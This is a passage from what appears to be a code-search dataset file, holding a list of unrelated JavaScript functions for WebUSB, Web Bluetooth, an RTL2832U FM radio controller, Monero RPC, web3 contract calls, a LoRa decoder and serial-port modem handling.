}\n\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\n this.devices_.prepare();\n\n this.prepared = true;\n }","function RadioController() {\n\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\n var SAMPLE_RATE = 2048000;\n var BUFS_PER_SEC = 5;\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\n var NULL_FUNC = function(){};\n var STATE = {\n OFF: 0,\n STARTING: 1,\n PLAYING: 2,\n STOPPING: 3,\n CHG_FREQ: 4,\n SCANNING: 5\n };\n var SUBSTATE = {\n USB: 1,\n TUNER: 2,\n ALL_ON: 3,\n TUNING: 4,\n PLAYING: 5\n };\n\n var decoder = new Worker('decode-worker.js');\n var player = new Player();\n var state = new State(STATE.OFF);\n var requestingBlocks = 0;\n var playingBlocks = 0;\n var frequency = 88500000;\n var stereo = true;\n var stereoEnabled = true;\n var errorHandler;\n var tuner;\n var connection;\n var ui;\n\n /**\n * Starts playing the radio.\n * @param {Function=} opt_callback A function to call when the radio\n * starts playing.\n */\n function start(opt_callback) {\n if (state.state == STATE.OFF) {\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\n chrome.permissions.request(\n {'permissions': [{'usbDevices': [TUNER]}]},\n function(res) {\n if (!res) {\n state = new State(STATE.OFF);\n throwError('This app has no permission to access the USB ports.');\n } else {\n processState();\n }\n });\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\n state = new State(STATE.STARTING, state.substate, opt_callback);\n }\n }\n\n /**\n * Stops playing the radio.\n * @param {Function=} opt_callback A function to call after the radio\n * stops playing.\n */\n function stop(opt_callback) {\n if (state.state == STATE.OFF) {\n opt_callback && opt_callback();\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\n state = new State(STATE.STOPPING, state.substate, opt_callback);\n } else if (state.state != STATE.STOPPING) {\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\n }\n }\n\n /**\n * Tunes to another frequency.\n * @param {number} freq The new frequency in Hz.\n */\n function setFrequency(freq) {\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\n || state.state == STATE.SCANNING) {\n state = new State(STATE.CHG_FREQ, null, freq);\n } else {\n frequency = freq;\n ui && ui.update();\n }\n }\n\n /**\n * Returns the currently tuned frequency.\n * @return {number} The current frequency in Hz.\n */\n function getFrequency() {\n return frequency;\n }\n\n /**\n * Searches a given frequency band for a station, starting at the\n * current frequency.\n * @param {number} min The minimum frequency, in Hz.\n * @param {number} max The maximum frequency, in Hz.\n * @param {number} step The step between stations, in Hz. The step's sign\n * determines the scanning direction.\n */\n function scan(min, max, step) {\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\n var param = {\n min: min,\n max: max,\n step: step,\n start: frequency\n };\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n }\n }\n\n /**\n * Returns whether the radio is doing a frequency scan.\n * @return {boolean} Whether the radio is doing a frequency scan.\n */\n function isScanning() {\n return state.state == STATE.SCANNING;\n }\n\n /**\n * Returns whether the radio is currently playing.\n * @param {boolean} Whether the radio is currently playing.\n */\n function isPlaying() {\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\n }\n\n /**\n * Returns whether the radio is currently stopping.\n * @param {boolean} Whether the radio is currently stopping.\n */\n function isStopping() {\n return state.state == STATE.STOPPING;\n }\n\n /**\n * Returns whether a stereo signal is being decoded.\n * @param {boolean} Whether a stereo signal is being decoded.\n */\n function isStereo() {\n return stereo;\n }\n\n /**\n * Enables or disables stereo decoding.\n * @param {boolean} enable Whether stereo decoding should be enabled.\n */\n function enableStereo(enable) {\n stereoEnabled = enable;\n ui && ui.update();\n }\n\n /**\n * Returns whether stereo decoding is enabled.\n * @return {boolean} Whether stereo decoding is enabled.\n */\n function isStereoEnabled() {\n return stereoEnabled;\n }\n\n /**\n * Saves a reference to the current user interface controller.\n * @param {Object} iface The controller. Must have an update() method.\n */\n function setInterface(iface) {\n ui = iface;\n }\n\n /**\n * Sets a function to be called when there is an error.\n * @param {Function} handler The function to call. Its only parameter\n * is the error message.\n */\n function setOnError(handler) {\n errorHandler = handler;\n }\n\n /**\n * Handles an error.\n * @param {string} msg The error message.\n */\n function throwError(msg) {\n if (errorHandler) {\n errorHandler(msg);\n } else {\n throw msg;\n }\n }\n\n /**\n * Starts the decoding pipeline.\n */\n function startPipeline() {\n // In this way we read one block while we decode and play another.\n if (state.state == STATE.PLAYING) {\n processState();\n }\n processState();\n }\n\n /**\n * Performs the appropriate action according to the current state.\n */\n function processState() {\n if (state.state == STATE.STARTING) {\n if (state.substate == SUBSTATE.USB) {\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\n chrome.usb.findDevices(TUNER,\n function(conns) {\n if (conns.length == 0) {\n state = new State(STATE.OFF);\n throwError('USB tuner device not found. The Radio Receiver ' +\n 'app needs an RTL2832U-based DVB-T dongle ' +\n '(with an R820T tuner chip) to work.');\n } else {\n connection = conns[0];\n processState();\n }\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\n tuner = new RTL2832U(connection);\n tuner.setOnError(throwError);\n tuner.open(function() {\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\n tuner.setCenterFrequency(frequency, function() {\n processState();\n })})});\n } else if (state.substate == SUBSTATE.ALL_ON) {\n var cb = state.param;\n state = new State(STATE.PLAYING);\n tuner.resetBuffer(function() {\n cb && cb();\n ui && ui.update();\n startPipeline();\n });\n }\n } else if (state.state == STATE.PLAYING) {\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.PLAYING) {\n if (playingBlocks <= 2) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled]);\n }\n }\n processState();\n });\n } else if (state.state == STATE.CHG_FREQ) {\n if (requestingBlocks > 0) {\n return;\n }\n frequency = state.param;\n ui && ui.update();\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(function() {\n state = new State(STATE.PLAYING);\n startPipeline();\n })});\n } else if (state.state == STATE.SCANNING) {\n if (requestingBlocks > 0) {\n return;\n }\n var param = state.param;\n if (state.substate == SUBSTATE.TUNING) {\n frequency += param.step;\n if (frequency > param.max) {\n frequency = param.min;\n } else if (frequency < param.min) {\n frequency = param.max;\n }\n ui && ui.update();\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\n tuner.setCenterFrequency(frequency, function() {\n tuner.resetBuffer(processState);\n });\n } else if (state.substate == SUBSTATE.PLAYING) {\n if (frequency == param.start) {\n state = new State(STATE.PLAYING);\n startPipeline();\n return;\n }\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\n var scanData = {\n 'scanning': true,\n 'frequency': frequency\n };\n ++requestingBlocks;\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\n --requestingBlocks;\n if (state.state == STATE.SCANNING) {\n ++playingBlocks;\n decoder.postMessage([data, stereoEnabled, scanData]);\n }\n processState();\n });\n }\n } else if (state.state == STATE.STOPPING) {\n if (state.substate == SUBSTATE.ALL_ON) {\n if (requestingBlocks > 0) {\n return;\n }\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\n ui && ui.update();\n tuner.close(function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.TUNER) {\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\n chrome.usb.closeDevice(connection, function() {\n processState();\n });\n } else if (state.substate == SUBSTATE.USB) {\n var cb = state.param;\n state = new State(STATE.OFF);\n cb && cb();\n ui && ui.update();\n }\n }\n }\n\n /**\n * Receives the sound from the demodulator and plays it.\n * @param {Event} msg The data sent by the demodulator.\n */\n decoder.onmessage = function(msg) {\n --playingBlocks;\n var newStereo = !!msg.data[1];\n if (newStereo != stereo) {\n stereo = newStereo;\n ui && ui.update();\n }\n player.play(msg.data[0], msg.data[1]);\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\n if (overload(msg.data[0]) < 0.075) {\n setFrequency(msg.data[2].frequency);\n }\n }\n };\n\n /**\n * Calculates the proportion of samples above maximum amplitude.\n * @param {Samples} samples The audio stream.\n * @param {number} The proportion of samples above the maximum amplitude.\n */\n function overload(samples) {\n var count = 0;\n for (var i = 0; i < samples.data.length; ++i) {\n if (samples.data[i] > 1 || samples.data[i] < -1) {\n ++count;\n }\n }\n return count / samples.data.length;\n }\n\n /**\n * Constructs a state object.\n * @param {number} state The state.\n * @param {number=} opt_substate The sub-state.\n * @param {*=} opt_param The state's parameter.\n */\n function State(state, opt_substate, opt_param) {\n return {\n state: state,\n substate: opt_substate,\n param: opt_param\n };\n }\n\n return {\n start: start,\n stop: stop,\n setFrequency: setFrequency,\n getFrequency: getFrequency,\n scan: scan,\n isScanning: isScanning,\n isPlaying: isPlaying,\n isStopping: isStopping,\n isStereo: isStereo,\n enableStereo: enableStereo,\n isStereoEnabled: isStereoEnabled,\n setInterface: setInterface,\n setOnError: setOnError\n };\n}","function FindAVRs()\n{\n var devs = usb.getDeviceList();\n for (var i=0; i {\n console.log('--writeLoginSetting successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginSetting failed ',error);\n });\n }","function makeRequest(){\n var mediaRequest = {\n responseType: http$RESPONSETYPE_BINARY,\n parser: CadmiumMediaStream$_parseHeaderBoxes,\n url: _self.downloadUrls[cdn.id],\n cdn: cdn,\n track: track,\n stream: _self,\n offset: 0,\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\n diagCaption: type + '-' + bitrate + '-hdr',\n cacheBuster: true\n };\n playback.httpPlayback.download(mediaRequest, processResponse);\n }","async sendBinaryRequest(path, params) {\n if (LibraryUtils.getLogLevel() >= 2) console.log(\"sendBinaryRequest(\" + path + \", \" + JSON.stringify(params) + \")\");\n \n // load wasm module\n await LibraryUtils.loadKeysModule();\n \n // serialize params\n let paramsBin = MoneroUtils.jsonToBinary(params);\n \n try {\n \n // send http request\n let resp = await HttpClient.request({\n method: \"POST\",\n uri: this.getUri() + '/' + path,\n username: this.getUsername(),\n password: this.getPassword(),\n body: paramsBin,\n rejectUnauthorized: this.config.rejectUnauthorized,\n requestApi: GenUtils.isFirefox() ? \"xhr\" : \"fetch\"\n });\n \n // validate response\n MoneroRpcConnection.validateHttpResponse(resp);\n \n // process response\n resp = resp.body;\n if (!(resp instanceof Uint8Array)) {\n console.error(\"resp is not uint8array\");\n console.error(resp);\n }\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\n return resp;\n } catch (err) {\n if (err instanceof MoneroRpcError) throw err;\n else throw new MoneroRpcError(err, undefined, path, params);\n }\n }","async getData() {\n\t\t//first we have to find out all the gateways we have to query\n\t\tvar that = this;\n\t\tlet web3 = new Web3(new Web3.providers.HttpProvider(\"https://rinkeby.infura.io\"));\n\t\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\n\t\tmphr.options.address = this.props.profile.mphr;\n\n\t\tmphr.methods.returnGateways().call({}, function (error, result) {\n\t\t\tif(error) { throw (error); }\n\t\t\tfor(var i = 0; i < result.length; i++) {\n\t\t\t\tlet hex = result[i].toString();//force conversion\n\t\t\t\tlet gateway = '';\n\t\t\t\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\n\t\t\t\t\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\n\t\t\t\t}\n\t\t\t\tthat.request(gateway.slice(1), that.props.profile.id, \"all\");\n\t\t\t}\n\t\t});\n\t}","requestGetDeviceName() {\n if (!this.connected) { return; }\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\n }","async WebGetBinaryStructures(url) {\n var r = await this._BaseWebRequest(url, \"arraybuffer\", \"GET\", null);\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\n decoder.Decode();\n return decoder;\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","async function upload( cmd_array, fastspeed = true){\n let fullflag = false\n \n if(cmd_array.length>1){\n fullflag = Boolean(parseInt(cmd_array[1]))\n }\n\n if(fastspeed){\n await blxConnectionFast()\n if(blxErrMsg) return\n }\n\n for(;;){ // Unlock Device (locked in FAST mode)\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\n if (blxErrMsg) break\n\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\n }\n \n await calcMem(true) // With adjust\n if(blxErrMsg) break\n\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\n\n if(blxUserCB) {\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \n }\n \n await updateFile('data.edt', fullflag)\n if(blxErrMsg) break\n\n await updateFile('data.edt.old', fullflag)\n //if(blxErrMsg) break // not needed\n\n break \n } // for\n\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\n await blxConnectionSlow()\n }\n }","async function findDevice() {\n const device = await liff.bluetooth.requestDevice().catch(e => {\n flashSDKError(e);\n onScreenLog(`ERROR on requestDevice: ${e}`);\n throw e;\n });\n // onScreenLog('detect: ' + device.id);\n\n try {\n if (!deviceUUIDSet.has(device.id)) {\n deviceUUIDSet.add(device.id);\n addDeviceToList(device);\n } else {\n // TODO: Maybe this is unofficial hack > device.rssi\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\n }\n\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\n } catch (e) {\n onScreenLog(`ERROR on findDevice: ${e}\\n${e.stack}`);\n }\n}","function trackerRequest() {\n const buff = Buffer.alloc(16);\n buff.writeUInt32BE(0x417, 0);\n buff.writeUInt32BE(0x27101980, 4);\n buff.writeUInt32BE(0, 8);\n crypto.randomBytes(4).copy(buff, 12);\n return (buff);\n}","function calculateChallengeResponse(challenge, adminkey) {\n var objAlg =\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\n .openAlgorithm(\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\n .tripleDesCbc);\n\n var symetricKey = objAlg.createSymmetricKey(adminkey);\n var buffEncrypted =\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\n symetricKey,\n challenge,\n null);\n\n return buffEncrypted;\n }","function getConvolver () {\n const ajax = new window.XMLHttpRequest()\n\n ajax.open('GET', convolverUrl, true)\n\n ajax.responseType = 'arraybuffer'\n\n ajax.onload = function () {\n const audioData = ajax.response\n\n audioCtx.decodeAudioData(audioData, function (buffer) {\n soundSource = audioCtx.createBufferSource()\n convolver.buffer = buffer\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\n\n soundSource.connect(audioCtx.destination)\n soundSource.loop = true\n soundSource.start()\n }\n\n ajax.send()\n }","function getdevicelist (dev, callback)\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n {\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\n webphone_api.plhandler.GetDeviceList(dev, callback);\n }\n}","function Decoder(bytes, port) {\n // Decode an uplink message from a buffer\n // (array) of bytes to an object of fields.\n var decoded = {};\n\n if (! (port === 3))\n return null;\n\n // see catena-message-port3-format.md\n // i is used as the index into the message. Start with the flag byte.\n // note that there's no discriminator.\n // test vectors are also available there.\n var i = 0;\n // fetch the bitmap.\n var flags = bytes[i++];\n\n if (flags & 0x1) {\n // set Vraw to a uint16, and increment pointer\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n // interpret uint16 as an int16 instead.\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n // scale and save in result.\n decoded.Vbat = Vraw / 4096.0;\n }\n\n if (flags & 0x2) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.VDD = Vraw / 4096.0;\n }\n\n if (flags & 0x4) {\n var iBoot = bytes[i];\n i += 1;\n decoded.boot = iBoot;\n }\n\n if (flags & 0x8) {\n // we have temp, pressure, RH\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\n if (tRaw & 0x8000)\n tRaw = -0x10000 + tRaw;\n i += 2;\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n\n decoded.t = tRaw / 256;\n decoded.rh = rhRaw / 65535.0 * 100;\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\n }\n\n if (flags & 0x10) {\n // we have light irradiance info\n var irradiance = {};\n decoded.irradiance = irradiance;\n\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.IR = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.White = lightRaw;\n\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n irradiance.UV = lightRaw;\n }\n\n if (flags & 0x20) {\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\n i += 2;\n if (Vraw & 0x8000)\n Vraw += -0x10000;\n decoded.Vbus = Vraw / 4096.0;\n }\n\n // at this point, decoded has the real values.\n return decoded;\n}","function callAPI(req,res,handleResponse){\n var host = 'www.blueworkslive.com';\n var username = 'xxxx';\n var password = 'yyyy';\n var path = '/api/Auth';\n var headers = {\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\n };\n var options = {\n host: host,\n path: path,\n method: 'GET',\n headers: headers\n };\n var bwlResData = {};\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\n var bwlRequest = https.request(options, function(bwlResponse) {\n\tconsole.log(\"BwlApiCall: Response status=\"+bwlResponse.statusCode);\n\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\n\tbwlResData.headers = bwlResponse.headers;\n\tvar bufferData = [];\n\tbwlResponse.on('data', function(data) {\n\t bufferData.push(data);\n console.info('BwlApiCall: Response data received');\n\t});\n\tbwlResponse.on('end', function() {\n console.info('BwlApiCall: completed, calling callback');\n\t bwlResData.data = Buffer.concat(bufferData);\n\t handleResponse(req, res, bwlResData);\n });\n });\n/* if ((reqData.method == \"post\" || reqData.method == \"put\") && reqData.senddata) {\n console.log(reqData.method+' sending data: '+reqData.senddata);\n bwlRequest.write(reqData.senddata);\n } */\n bwlRequest.end();\n bwlRequest.on('error', function(e){\n console.error('BwlApiCall: REQUEST-ERROR '+e);\n });\n}","retrieveDevice(req, res) {\n res.json({ message: \"Device\", data: req.device });\n }","getDeviceDescription(deviceId, callback, retryCounter) {\n let ip;\n if (!retryCounter) retryCounter = 0;\n if (retryCounter > 2) {\n return callback && callback(new Error('timeout on response'));\n }\n if (deviceId.includes('#')) {\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\n return callback && callback('device unknown');\n }\n ip = this.knownDevices[deviceId].ip;\n }\n else ip = deviceId;\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\n let retryTimeout = null;\n try {\n const req = coap.request({\n host: ip,\n //port: 5683,\n method: 'GET',\n pathname: '/cit/d'\n });\n\n retryTimeout = setTimeout(() => {\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\n callback = null;\n }, 2000);\n req.on('response', (res) => {\n clearTimeout(retryTimeout);\n const options = {};\n res.options.forEach((opt) => {\n if (!options[opt.name]) {\n options[opt.name] = opt.value;\n }\n else {\n options[opt.name] += '/' + opt.value;\n }\n });\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\n\n const deviceId = this.initDevice(options, res.rsinfo);\n if (!deviceId) return;\n\n let payload = res.payload.toString();\n if (!payload.length) {\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\n return;\n }\n try {\n\n if (payload.indexOf('`') !== -1) {\n this.logger && this.logger(payload);\n payload = payload.substr(0, payload.lastIndexOf('`'));\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\n }\n\n payload = JSON.parse(payload);\n }\n catch (err) {\n this.emit('error', err + ' (res) for JSON ' + payload);\n return;\n }\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\n if (req.rsinfo) {\n this.knownDevices[deviceId].ip = req.rsinfo.address;\n this.knownDevices[deviceId].port = req.rsinfo.port;\n }\n this.knownDevices[deviceId].description = payload;\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\n callback = null;\n });\n req.on('error', (error) => {\n // console.log(error);\n this.emit('error', error);\n });\n req.end();\n }\n catch (e) {\n if (retryTimeout) clearTimeout(retryTimeout);\n callback && callback(e);\n callback = null;\n }\n }","buildModemInterface() {\n return new Promise((resolve, reject) => {\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\n let serial_port = new SerialPort(this.uri, {\n baudRate: this.baud_rate\n });\n serial_port.on('open', () => {\n resolve(serial_port);\n });\n serial_port.on('error', (err) => {\n reject(err);\n });\n serial_port.on('data', (data) => {\n // buffer the received data\n this.response_buffer += data.toString();\n // check if the response code exists in our buffered data\n this.response_codes.forEach((code) => {\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\n this.handleModemResponse({\n data: this.response_buffer.replace(code, '').trim(), \n code: code\n });\n this.response_buffer = '';\n }\n })\n });\n return serial_port;\n });\n }","function send(data) {\n\n if(MODE == MODES.TEST) {\n ws.send(data);\n } else if(MODE == MODES.BLUETOOH) {\n\n var data = new Uint8Array(1);\n data[0] = data;\n\n ble.write(id, serviceId, serviceName, data.buffer, function() {\n console.log(\"ble -> sendSucess\");\n }, function(err) {\n console.log(\"ble -> sendFailure : \" + JSON.stringify(err));\n });\n\n }\n\n}","sendMakeBetShan2(_chipbet) {\n cc.NGWlog(\"Vua dat cuoc =\" + _chipbet);\n var data = {\n evt: \"bm\",\n M: _chipbet\n };\n this.sendDataGame(JSON.stringify(data));\n }","async function requestBlockchainInfo() {\n return instance\n .get(\"/tuichain/get_info/\")\n .then((response) => {\n return response.data;\n })\n .catch((error) => {\n console.log(error);\n return false;\n });\n}","async function main(){\n\nvar password=\"pengshu\";\n\nvar oneBranchAccount=await web3.eth.personal.newAccount(password);\nconsole.log(\"one branch\",oneBranchAccount);\n\n\nlet unlock;\n\ntry{\n unlock=await web3.eth.personal.unlockAccount(oneBranchAccount,password);}\ncatch(e){}\n console.log(\"one branch unlock\",unlock);\n \n\nvar message=\"I am the flash\";\nlet signature;\ntry{\n signature=await web3.eth.sign(message,oneBranchAccount);\n}catch(e){}\nconsole.log(\"signature one branch:\",signature);\n\nlet verfication;\ntry {\n verification= await web3.eth.personal.ecRecover(message,signature);\n}catch(e){console.log(e);}\nconsole.log(verfication);\n}","function expressGETBuffer(){\r\n GenerateRandom(currentBuffer);\r\n app.get('/api/buffer',(req,res) =>{\r\n res.json({\r\n arduino: currentBufferArduino,\r\n dummy: currentBuffer\r\n });\r\n });\r\n //console.log(\"2a. GET to Server\");\r\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n 